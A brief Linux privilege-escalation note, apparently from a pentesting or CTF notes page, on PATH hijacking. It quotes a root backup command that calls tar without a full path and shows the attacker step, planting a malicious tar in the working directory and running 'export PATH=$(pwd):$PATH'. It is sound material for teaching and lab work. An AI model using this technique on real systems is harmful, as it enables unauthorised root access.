Path Variables

<figure<img src="/files/Ip9KereDEo8o4rjJI2rm" alt=""<figcaption</figcaption</figure

#linux privilege escalation#adot8

code

01tar -cvf /root/.backup/pandora-backup.tar.gz /var/www/pandora/pandora_console/*

This line can be leveraged due to the command not using the full path for the tar binary

Drop a malicious file with the same name in your pwd and change the PATH variable;

code

01 export PATH=$(pwd):$PATH